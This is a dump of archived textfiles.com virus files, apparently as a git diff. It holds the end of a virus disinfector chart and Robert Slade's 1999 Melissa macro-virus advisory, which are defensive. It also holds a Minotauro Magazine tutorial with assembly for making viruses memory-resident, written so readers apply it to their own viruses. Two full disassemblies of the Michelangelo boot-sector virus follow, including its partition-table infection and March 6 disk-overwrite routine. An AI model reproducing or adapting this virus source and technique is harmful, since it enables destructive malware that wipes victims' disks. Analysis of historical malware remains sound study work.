Do-Nothing CleanUp . . . x . . . . . 608 p
Sunday CleanUp . x . x x x . . . 1636 O,P
Lisbon CleanUp . . . x . . . . . 648 P
Typo/Fumble CleanUp . x . x . . . . . 867 O,P
Dbase CleanUp . x . x . . . . . 1864 D,O,P
Ghost Boot Version MDISK . x . . . . x x . N/A B,O
Ghost COM Version CleanUp . . . x . . . . . 2351 B,P
New Jerusalem CleanUp . x . x x x . . . 1808 O,P
Alabama CleanUp . x . . x . . . . 1560 O,P,L
Yankee Doodle CleanUp . x . x x . . . . 2885 O,P
2930 CleanUp . x . x x . . . . 2930 P
Ashar CleanUp . x . . . . x . . N/A B
AIDS CleanUp . . . x . . . . . Overwrites Program
Disk Killer CleanUp . x . . . . x x . N/A B,O,P,D,F
1536/Zero Bug CleanUp . x . x . . . . . 1536 O,P
MIX1 CleanUp . x . . x . . . . 1618 O,P
Dark Avenger CleanUp . x x x x x . . . 1800 O,P,L
3551/Syslock CleanUp x . . x x . . . . 3551 P,D
VACSINA CleanUp . x . x x x . . . 1206 O,P
Ohio MDISK . x . . . . x . . N/A B
Typo (Boot Virus) MDISK . x . . . . x x . N/A O,B
Swap/Israeli Boot MDISK . x . . . . x . . N/A B
1514/Datacrime II CleanUp x . . x x . . . . 1514 P,F
Icelandic II CleanUp . x . . x . . . . 661 O,P
Pentagon MDISK . . . . . . x . . N/A B
3066/Traceback M-3066 . x . x x . . . . 3066 P
1168/Datacrime-B CleanUp x . . x . . . . . 1168 P,F
Icelandic CleanUp . x . . x . . . . 642 O,P
Saratoga CleanUp . x . . x . . . . 632 O,P
405 CleanUp . . . x . . . . . Overwrites Program
1704 Format CleanUp x x . x . . . . . 1704 O,P,F
Fu Manchu CleanUp . x . x x x . . . 2086 O,P
1280/Datacrime CleanUp x . . x . . . . . 1280 P,F
1701/Cascade CleanUp x x . x . . . . . 1701 O,P
1704/CASCADE-B CleanUp x x . x . . . . . 1704 O,P
Stoned/Marijuana CleanUp . x . . . . x . x N/A O,B,L
1704/CASCADE CleanUp x x . x . . . . . 1704 O,P
Ping Pong-B CleanUp . x . . . . x x . N/A O,B
Den Zuk MDISK . x . . . . x . . N/A O,B
Ping Pong CleanUp . x . . . . x . . N/A O,B
Vienna-B CleanUp . . . x . . . . . 648 P
Lehigh CleanUp . x x . . . . . . Overwrites P,F
Vienna/648 M-VIENNA . . . x . . . . . 648 P
Jerusalem-B CleanUp . x . x x x . . . 1808 O,P
Yale/Alameda CleanUp . x . . . . x . . N/A B
Friday 13th COM CleanUp . . . x . . . . . 512 P
Jerusalem CleanUp . x . x x x . . . 1808 O,P
SURIV03 CleanUp . x . x x x . . . O,P
SURIV02 CleanUp . x . . x . . . . 1488 O,P
SURIV01 CleanUp . x . x . . . . . 897 O,P
Pakistani Brain CleanUp . x . . . . x . . N/A B
Legend:
Damage Fields - B - Corrupts or overwrites Boot Sector
O - Affects system run-time operation
P - Corrupts program or overlay files
D - Corrupts data files
F - Formats or erases all/part of disk
L - Directly or indirectly corrupts file linkage
Size Increase - The length, in bytes, by which an infected
program or overlay file will increase
Characteristics - x - Yes
. - No
Disinfectors - SCAN/D - VIRUSCAN with /D option
SCAN/D/A - VIRUSCAN with /D and /A options
MDISK/P - MDISK with "P" option
All Others - The name of disinfecting program
Note:
The SCAN /D option will overwrite and then delete the
entire infected program. The program must then be
replaced from the original program diskette. If you wish
to try and recover an infected program, then use the
named disinfector if available.
[3] Tfiles: (1-8,?,Q) :

BIN
textfiles.com/virus/mdef.inf Normal file
View File

Binary file not shown.

277
textfiles.com/virus/melissa.txt Normal file
View File

@@ -0,0 +1,277 @@
http://www.melissavirus.com/
----------------------------------------------------------------- Date: Mon, 5
Apr 1999 05:01:14 -0700 From: secedu@all.net Subject: Information Security
Educators Mailing List 1999-03-30
---------------------------------------------
>From: "Rob Slade, doting grandpa of Ryan and Trevor"
Date: Tue, 30 Mar 1999 16:51:23 -0800
The Melissa macro virus
A report prepared by Robert M. Slade
The following is an attempt to bring together the information about
the Melissa virus. It is taken from the most reliable available
sources. Additional sites have been listed at the end of the article.
I have not added a copyright line to this message in order to allow it
to be used as needed. I will be posting the latest updated version of
this article at http://sun.soci.niu.edu/~rslade/melissa.txt and
http://victoria.tc.ca/techrev/melissa.txt.
The virus, generally referred to as W97M.Melissa.A (with some
variations: Symantec, in a rather strained effort to be cute, seems to
be calling it "Mailissa"), is a MS Word macro virus. This means that,
if you don't use Word, you are safe. Completely safe. (Except for
being dependent upon other people who might slow their/your mail
server down. More on that later.) If you need to look at MS Word
documents, there is a document viewer available (free, as it happens)
>from Microsoft. This viewer will not execute macros, so it is safe
>from infection.
In the messages about Melissa, there have been many references to the
mythical and non-existent "Good Times" virus. Note that simply
reading the text of a message still cannot infect you. However, note
also that many mailers, in the name of convenience, are becoming more
and more automated, and much of this automation concerns running
attached files for you. As Padgett Peterson, author of one of the
best macro virus protection tools, has stated, "For years we have been
saying you could not get a virus just by "opening E-Mail. That bug is
being fixed."
Melissa does not carry any specifically damaging payload. If the
message is triggered there will be text added to the active document.
The mailout function can cause a large number of messages to be
generated very quickly, and this has caused the shutdown of a number
of corporate mail servers.
If you have Word set with macros disabled, then the virus will not
active. However, relying on this protection is a very dangerous
proposition. Previous macro viruses have also killed macro protection
in Word, and this one does as well.
The name "Melissa" comes from the class module that contains the
virus. The name is also used in the registry flag set by the virus.
The virus is spread, of course, by infected Word documents. What has
made it the "bug du jour" is that it spreads *itself* via email. We
have known about viruses being spread as attachments to email for a
long time, and have been warning people not to execute attachments (or
read Word documents sent as attachments) if you don't know where they
came from. Happy99 is a good example: it has spread very widely in
the past month by sending itself out as an email attachment whenever
it infects a system.
Melissa was originally posted to the alt.sex newsgroup. At that time
it was LIST.DOC, and purported to be a list of passwords for sex
sites. I have seen at least one message theorizing that Melissa is
someone's ill-conceived punishment for viewers of pornography. This
hypothesis is extremely unlikely. Sending a virus to a sex related
newsgroup seems to be a reliable way to ensure that a number of stupid
people will read and/or execute your program, and start your new virus
off with a bang. (No pun intended.)
If you get a message with a Melissa infected document, and do whatever
you need to do to "invoke" the attachment, and have Word on your
system as the default program for .doc files, Word starts up, reads in
the document, and the macro is ready to start. If you have Word's
"macro security" enabled (which is not the default) it will tell you
that there is a macro in the document. Few people understand the
import of the warning, and there is no distinction between legitimate
macros and macro viruses.
Because of a technical different between normal macros and "VBA
objects," if you ask for a list of the macros in the document, Melissa
will not show up. It will be visible if you use the Visual Basic
Editor, but only after you have loaded the infected file.
Assuming that the macro starts executing, several things happen.
The virus first checks to see if Word 97 (Word 8) or Word 2000 (Word
9) is running. If so, it reduces the level of the security warnings
on Word so that you will receive no future warnings. In Word97, the
virus disables the Tools/Macro menu commands, the Confirm Conversions
option, the MS Word macro virus protection, and the Save Normal
Template prompt. It "upconverts" to Word 2000 quite nicely, and there
disables the Tools/Macro/Security menu.
Specifically, under Word 97 it blocks access to the Tools|Macro menu
item, meaning you cannot check any macros. It also turns off the
warnings for conversion, macro detection, and to save modifications to
the NORMAL.DOT file. Under Word 2000 it blocks access to the menu
item that allows you to raise your security level, and sets your macro
virus detection to the lowest level, that is, none. (Since the access
to the macro security menu item is blocked, I do not know how this
feature can be reversed, other than programmatically or by
reinstallation.)
After this, the virus checks for the
HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa?\ registry key
with a value of "... by Kwyjibo". (The "kwyjibo" entry seems to be a
reference to the "Bart the Genius" episode of the "Simpsons"
television program where this word was used to win a Scrabble match.)
If this is the first time you have been infected (and this "first
time" business is slightly complicated), then the macro starts up
Outlook, in the background, and sends itself as an attachment to the
"top" 50 names in *each* of your address lists. (Melissa will *not*
use Outlook Express.) Most people have only one (the default is
"Contacts"), but if you have more than one then Outlook will send more
than 50 copies of the message. Outlook also sorts address lists such
that mailing lists are at the top of the list, so this can get a much
wider dispersal than just fifty copies of the message/virus. There
was also a mention on one message about MAPI and Exchange servers,
which may give access to a very large number of mailing lists. From
other reports, though, people who use Exchange mail server are being
particularly hard hit. Then again, people who use Exchange are
probably also standardized on Word and Outlook.
Some have suggested setting this registry key as a preventative
measure, but note that it only prevents the mailout. It does not
prevent infection. If you are infected, and the registry key is
removed at a later date, then a mailout will be triggered the next
time an infected document is read.
Once the messages have been sent, the virus sets the Melissa flag in
the registry, and looks for it to check whether or not to send itself
out on subsequent infections. If the flag does not persist, then
there will be subsequent mass mailings. Because the key is set in
HKEY_CURRENT_USER, system administrators may have set permissions such
that changes made are not saved, and thus the key will not persist.
In addition, multiple users on the same machine will likely each
trigger a separate mailout, and the probability of cross infection on
a common machine is very high.
Since it is a macro virus, it will infect your NORMAL.DOT, and will
infect all documents thereafter. The macro within NORMAL.DOT is
"Document_Close()" so that any document that is worked on will be
infected when it is closed. When a document is infected the macro
inserted is "Document_Open()" so that the macro runs when the document
is opened.
Note that *not* using Outlook does not protect you from the virus, it
only means that the 50 copies will not be automatically sent out. If
you use Word but not Outlook, you will still be infected, and may
still send out infected documents on your own. The virus also will
not invoke the mailout on Mac systems, but definitely can be stored
and resent from Macs. At this time I do not have reliable information
about whether it can reproduce on Macs (there is one report that it
does), but the likelihood is that it can.
Vesselin Bontchev has noted that the virus never explicitly terminates
the Outlook program. It is possible that multiple copies may be
invoked, and may create memory problems. However, this has not been
confirmed, and is not probable given the "first time" flag that is
set.
The message appears to come from the person just infected, of course,
since it really is sent from that machine. This means that when you
get an "infected" message it will probably appear to come from someone
you know and deal with. The subject line is "Important Message From:
[name of sender]" with the name taken from the registration settings
in Word. The test of the body states "Here is that document you asked
for ... don't show anyone else ;-)". Thus, the message is easily
identifiable: that subject line, the very brief message, and an
attached Word document (file with a .doc extension to the filename).
If you receive a message of this form *DO NOT OPEN THE DOCUMENT WITH
WORD!* If you do not have alternate means or competent virus
assistance, the best recourse is to delete the message, and
attachment, and to send a message to the sender alerting them to the
fact that they are, very likely, infected. Please note all the
specifics in this paragraph, and do not start a panic by sending
warnings to everyone who sends you any message with an attachment.
However, please also note that, as with any Word macro virus, the
source code travels with the infection, and it will be very easy to
create modifications to Melissa. (The source code has already been
posted to one Web site.) We will, no doubt very soon, start seeing
many Melissa variants with different subjects and messages. There is
already one similar Excel macro virus, called "Papa." The virus
contains the text "Fred Cohen" and "all.net," leading one rather
ignorant reporter to assume that Fred was the author. Dr. Cohen was
the first person to do formal research into viral programs.
There is a message that is displayed approximately one time in sixty.
The exact trigger is if the current system time minute field matches
the current system time day of the month field when the virus is run.
In that case, you will "Twenty-two points, plus triple-word-score,
plus fifty points for using all my letters. Game's over. I'm outta
here." typed into your document. (This is another reference to the
"Simpsons" episode referred to earlier.)
One rather important point: the document passed is the active
document, not necessarily the original posted on alt.sex. So, for
example, if I am infected, and prepare some confidential information
for you in Word, and send you an attachment with the Word document,
containing sensitive information that neither you nor I want made
public (say, the fact that Bill Gates is a jerk for having designed
the technology this way), and you read it in Word, and you have
Outlook on your machine, then that document will be mailed out to the
top 50 people in your address book.
Rather ironically, a clue to the identity of the perpetrator may have
come from the identification number embedding scheme recently admitted
by Microsoft as having been included with Office and Windows 98.
A number of fixes for mail servers and mail filtering systems have
been devised very quickly. However, note that not all of these have
fully tested or debugged. One version that I saw would trap most of
the warning messages about Melissa.
Note that any Word document can be infected, and that an infected user
may unintentionally send you an infected document. All Word
documents, and indeed all Office files, should be checked for
infection before you load them.
Information and antiviral updates (some URLs are wrapped):
http://www.cert.org/advisories/CA-99-04-Melissa-Macro-Virus.html
http://www.ciac.org/ciac/bulletins/j-037.shtml
ftp://ftp.complex.is/pub/macrdef2.zip
http://www.complex.is/f-prot/f-prot.html
http://chkpt.zdnet.com/chkpt/hud0007500a/www.zdnet.com/zdnn/stories/
news/0,4586,2233030,00.html
http://www.zdnet.com/zdnn/special/melissavirus.html
http://www.symantec.com/techsupp/mailissa.html
http://www.antivirus.com/vinfo/security/sa032699.htm
http://www.avp.com/melissa/melissa.html
http://www.microsoft.com/security/bulletins/ms99-002.asp
http://www.sendmail.com/blockmelissa.html
ftp://ftp.rubyriver.com/pub/jhardin/antispam/procmail-security.html
http://www.innosoft.com/iii/pmdf/virus-word-emergency.html
http://www.sophos.com/downloads/ide/index.html#melissa
http://www.avertlabs.com/public/datafiles/valerts/vinfo/melissa.asp
http://www.pcworld.com/cgi-bin/pcwtoday?ID=10302
http://www.internetnews.com/bus-news/article/0,1087,3_89011,00.html
http://cnn.com/TECH/computing/9903/29/melissa.copycat.idg/
http://www.pcworld.com/cgi-bin/pcwtoday?ID=10308
====================== (quote inserted randomly by Pegasus Mailer)
rslade@vcn.bc.ca rslade@sprint.ca robertslade@usa.net p1@canada.com
AV tutorial : http://victoria.tc.ca/techrev/mnvrcv.htm
http://victoria.tc.ca/techrev or http://sun.soci.niu.edu/~rslade
---------------------------------------------

185
textfiles.com/virus/memres.txt Normal file
View File

@@ -0,0 +1,185 @@
Memory Residence Methods.
-----------------------------------------------------------------
In this article, I'll try to explain the more common methods
used to make viruses go resident. The focus will be more on the
practical than the theoretical, leaving clear the fundamentals so
that you can take advantage of them, especially in the case of the
MCB. The article will show examples of the two techniques
described which can (in the case of the MCB) be directly applied to
your own viruses. The theory is not very detailed, but everything
a beginner needs to know to use these methods is present. With the
information the article provides, the beginner who wishes to get
deeper into the theory can simply read a guide or manual on memory
residence, since the necessary basics are explained here (I hope).
Let's begin:
The most used methods to make a virus go resident are:
o those available through DOS or
o the MCB (Memory Control Block) method.
The former is the simplest way to do it, but also the most
inefficient because it informs DOS it's leaving something behind in
memory. Besides, when you execute this function, control is
returned to DOS. Whatever program you attempt to run will
terminate! The virus which uses this technique must re-execute
itself to avoid exiting to DOS during it's installation into
memory. To remain resident, it executes itself again (service 4bh)
and during it's second execution it hooks Int27h or calls service
31 of Int 21, in it's turn giving control to the "father" program
(the one loaded first). The father program can then end, executing
the host. If this isn't done (like when executing Int 21), control
would be passed to the command interpreter.
One characteristic of viruses which use this technique is that
they tend to attach to the beginning of the file; these services
will resident the amount of required from the beginning of the file
in memory.... If we have a 50K .COM and the virus is at the end,
and we use Int 27 to attempt to leave resident 1K, for example,
what would be placed in memory would be the first K of the COM, not
the virus. Obviously, we can't just leave 50K resident.... we can
make the virus go resident we can move (it?) to another block,
transfer control, and then this will give control to the "father"
program. To avoid all this, many viruses attach themselves to the
beginning of the programs they infect. Of course, this is slow,
since we have to read the whole file and copy it after the virus.
If the virus attaches to the end of the file, we only have to write
the virus, not the virus AND the file. This method is not very
elegant; more than just slow, other things can happen if the
infection places the virus at the beginning........
Below is the source to a TSR, NOT a virus, just a normal TSR to
illustrate how it works. This example hooks Int 21 and then passes
control without doing anything. Code can be added to make it do
what ever you want.
===================================================================
===================================================================
code segment
assume cs:code,ds:code
org 100h
start:
jmp instalar ;Jump to the installation
;routine.
;We put the original Int21 address in this variable.
old_21 dd 2
new_21:
;Here's the routine which hooks Int 21.
jmp cs:[old_21] ;Jump to the original int.
instalar:
;Obtain the original Int 21 Vector
mov ax, 3521h
int 21h
mov word ptr old_21, bx
mov word ptr old_21+2, es
;Set the new Int 21 vector.
mov ax,2521h
push cs
pop ds
mov dx, offset new_21
int 21h
;Now it's resident
mov ah, 31h
mov dx, 30d ;<--------- Number of paragraphs(16 bytes)
int 21h ;leave resident.
code ends
end start
===================================================================
===================================================================
The second method is a little more complex than simply calling
Int 27h, but it's much more effective. To understand how it works,
you must be aware that DOS creates a control block for each memory
block used. This control block is 16 bytes long (a paragraph)and
is just above the assigned memory block. In a COM file, for
example, CS - 1 contains the address of this block. In offset 3 of
the same we can find the amount of memory used by the program....
To make our program resident, we must subtract from that value the
length of the virus, free up the memory which is no longer used
(service 4ah), and assign it to our program (service 48h). We
finish by marking the MCB of the segment to which we moved our
virus with '8' in offset 1, to fool DOS into not using that part of
memory. When we mark the block we use an '8' to identify it
because DOS uses the same.
The code that follows shows how it's done..... the code will
leave a virus resident from a COM file. To load a virus from an
EXE we must keep in mind that the MCB segment to be modified is
obtained by subtracting 1 from DS, not CS.
===================================================================
===================================================================
;I pass the code segment to AS, I subtract it and pass to ES to
;obtain the amount of memory reserved by the host program (ES:[3]),
;which is in AX.......
mov ax, cs ;With this we obtain the MCB segment.
dec ax
mov es, ax ;Here we obtain from the MCB the
mov ax, es:[3] ;amount of memory used.
;I subtract the length of the virus from the memory used by the
;host and place the result in AX
sub ax, bx ;BX contains the length of the virus
;in paragraphs
;We pass the result of the previous operation to BX so as to then
;call the service which frees memory, with the new size and the
;segment in ES.
push bx ;Save the amount of memory to be reserved
mov bx, ax ;Pass the new amount to BX.
push cs
pop es
mov ah, 4ah
int 21h
;I assign the freed memory to my virus, the assigned memory segment
;goes to AX. I decrease BX because DOS will use one paragraph.
pop bx ;Pop the amount of memory to be reserved.
dec bx
mov ah, 48h
int 21h
;I decrease AX and pass it to ES; that way I point to the paragraph
;DOS uses as a control, I mark the paragraph at offset 1 with an 8
;so that DOS thinks it's a part of itself and not use this part of
;memory. I then increment AX again and pass it to ES, so that ES
;points to the memory the virus will use.
dec ax
mov es, ax
mov word ptr es:[1], 8
mov word ptr es:[8],'XX' ;Optional: name that block.
inc ax
mov es, ax
push es ;Save the address of the virus
;segment.
===================================================================
===================================================================
All that remains is to move the virus to the reserved segment, a
simple matter of doing a "rep movsb" to the segment to which ES
points and that's it, the virus is resident.
NOTE:
The routine by itself does not set off any alarms; TBAV's
residence alarm is set off when it detects a hook to Int 21h or
13h.
Text by Zarathustra for Minotauro Magazine

234
textfiles.com/virus/michael.asm Normal file
View File

@@ -0,0 +1,234 @@
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end

225
textfiles.com/virus/michangl.txt Normal file
View File

@@ -0,0 +1,225 @@
; Michelangelo
; Size: 512
; Type: Boot infector
; Date of action: March 6th
;
;
data_1e equ 4Ch ; (0000:004C=1DB1h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 413h ; (0000:0413=280h)
data_4e equ 7C05h ; (0000:7C05=203Ch)
data_5e equ 7C0Ah ; (0000:7C0A=49EBh)
data_6e equ 7C0Ch ; (0000:7C0C=2A3Ch)
data_7e equ 7 ; (694E:0007=0)
data_8e equ 8 ; (694E:0008=0)
data_9e equ 0Ah ; (694E:000A=0)
data_11e equ 7C03h ; (694E:7C03=0)
seg_a segment
assume cs:seg_a, ds:seg_a
org 100h
mich proc far
start:
jmp loc_6 ; (01AF) "This is what you see at sector 0"
db 0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
db 0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
db 50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
db 0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
db 4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
db 9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
db 2, 0, 58h, 1Fh, 2Eh, 0FFh
db 2Eh, 0Ah, 0, 50h, 53h, 51h
db 52h, 1Eh, 6, 56h, 57h, 0Eh
db 1Fh, 0Eh, 7, 0BEh, 4, 0
loc_1: ;Init registers
mov ax,201h
mov bx,200h
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
jnc loc_2 ; Jump if carry=0
xor ax,ax ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
dec si
jnz loc_1 ; Jump if not zero
jmp short loc_5 ; (01A6)
loc_2: ;Zero registers clear direction
xor si,si ; Zero register
cld ; Clear direction
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_3 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
je loc_5 ; Jump if equal
loc_3: ; cmp byte ptr See infected
mov ax,301h
mov dh,1
mov cl,3
cmp byte ptr [bx+15h],0FDh
je loc_4 ; Jump if equal
mov cl,0Eh
loc_4: ;call out all db hiden data
mov ds:data_8e,cx ; (694E:0008=0)
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
jc loc_5 ; Jump if carry Set
mov si,3BEh
mov di,1BEh
mov cx,21h
cld ; Clear direction
rep movsw ; Rep while cx>0 Mov [si]
mov ax,301h ; to es:[di]
xor bx,bx ; Zero register
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
loc_5: ;Clear all set
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
loc_6: ;Load all hiden data
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov ax,7C00h
mov sp,ax
sti ; Enable interrupts
push ds
push ax
mov ax,ds:data_1e ; (0000:004C=1DB1h)
mov ds:data_5e,ax ; (0000:7C0A=49EBh)
mov ax,ds:data_2e ; (0000:004E=70h)
mov ds:data_6e,ax ; (0000:7C0C=2A3Ch)
mov ax,ds:data_3e ; (0000:0413=280h)
dec ax
dec ax
mov ds:data_3e,ax ; (0000:0413=280h)
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov ds:data_4e,ax ; (0000:7C05=203Ch)
mov ax,0Eh
mov ds:data_1e,ax ; (0000:004C=1DB1h)
mov ds:data_2e,es ; (0000:004E=70h)
mov cx,1BEh
mov si,7C00h
xor di,di ; Zero register
cld ; Clear direction
rep movsb ; Rep while cx>0 Mov [si]
jmp dword ptr cs:data_11e ; to es:[di] (694E:7C03=0)
db 33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the
db 0Eh, 1Fh, 0B8h, 1, 2, 0BBh ; cd 13
db 0, 7Ch, 8Bh, 0Eh, 8, 0
db 83h, 0F9h, 7, 75h, 7, 0BAh
db 80h, 0, 0CDh, 13h, 0EBh, 2Bh
db 8Bh, 0Eh, 8, 0, 0BAh, 0
db 1, 0CDh, 13h, 72h, 20h, 0Eh
db 7, 0B8h, 1, 2, 0BBh, 0
db 2, 0B9h, 1, 0, 0BAh, 80h
db 0, 0CDh, 13h, 72h, 0Eh, 33h
db 0F6h, 0FCh, 0ADh, 3Bh, 7, 75h
db 4Fh, 0ADh, 3Bh, 47h, 2
db 75h, 49h
loc_7:;check if it is time to nuke
xor cx,cx ; Zero register
mov ah,4
int 1Ah ; Real time clock ah=func 04h don't work on an xt
; read date cx=year, dx=mon/day
cmp dx,306h ; See if March 6th
je loc_8 ; Jump if equal to nuking subs
retf ; Return to launch command.com
loc_8:;get ready
xor dx,dx ; Zero register
mov cx,1
loc_9:;run 7 times nuke 31.5 megs of hd
mov ax,309h
mov si,ds:data_8e ; (694E:0008=0)
cmp si,3
je loc_10 ; Jump if equal
mov al,0Eh
cmp si,0Eh
je loc_10 ; Jump if equal
mov dl,80h
mov byte ptr ds:data_7e,4 ; (694E:0007=0)
mov al,11h
loc_10: ;nuke away
mov bx,5000h
mov es,bx
int 13h ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
jnc loc_11 ; Jump if carry=0
xor ah,ah ; Zero register
int 13h ; Disk dl=drive a: ah=func 00h
; reset disk, al=return status
loc_11: ;rest for loc-9 nuking
inc dh
cmp dh,ds:data_7e ; (694E:0007=0)
jb loc_9 ; Jump if below
xor dh,dh ; Zero register
inc ch
jmp short loc_9 ; (0250)
loc_12:;time to infect a floppie or hard dirve
mov cx,7
mov ds:data_8e,cx ; (694E:0008=0)
mov ax,301h
mov dx,80h
int 13h ; Disk dl=drive a: ah=func 03h infect flopie
; write sectors from mem es:bx
jc loc_7 ; Jump if carry Set
mov si,3BEh
mov di,1BEh
mov cx,21h
rep movsw ; Rep while cx>0 Mov [si]
mov ax,301h : to es:[di]
xor bx,bx ; Zero register
inc cl
int 13h ; Disk dl=drive a: ah=func 03h lets infect hd
; write sectors from mem es:bx
;* jmp short loc_13 ;*(02E0)
db 0EBh, 32h
db 1, 4, 11h, 0, 80h, 0
db 5, 5, 32h, 1, 0, 0
db 0, 0, 0
db 53h, 53h, 20h, 20h, 43h, 4Fh
db 4Dh
db 58 dup (0)
db 55h, 0AAh
seg_a ends
;Last notes this virus looks like a poor hack job on the stoned virus.
;It is kinda cool in the fact that it is hard to get out of the partition table
;even if you nuke the partition table it will live on even if you replace it.
;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
;this virus uses int 1ah which doesn't work on an XT system.
;the virus isn't actually 512 but that is how much it writes.
;it moves the boot area of a floppy to the last sector on the disk
;and on a harddrive it moves it to the last sector in the root directory
;This should show you all how much the media can over do it on things
;since this is really a lame virus,to tell you the truth there is a lot better
;ones out there.
;This in no way is a complete listing of the code for the virus.
;Nor is it the best since i'm not the best at Assembly.
;Done by Visionary.
;BTW to who ever wrote this virus... Get a life!
-------------------------------------------------------------------------------
Downloaded From P-80 Systems 304-744-2253

73
textfiles.com/virus/mk-chart.txt Normal file
View File

@@ -0,0 +1,73 @@
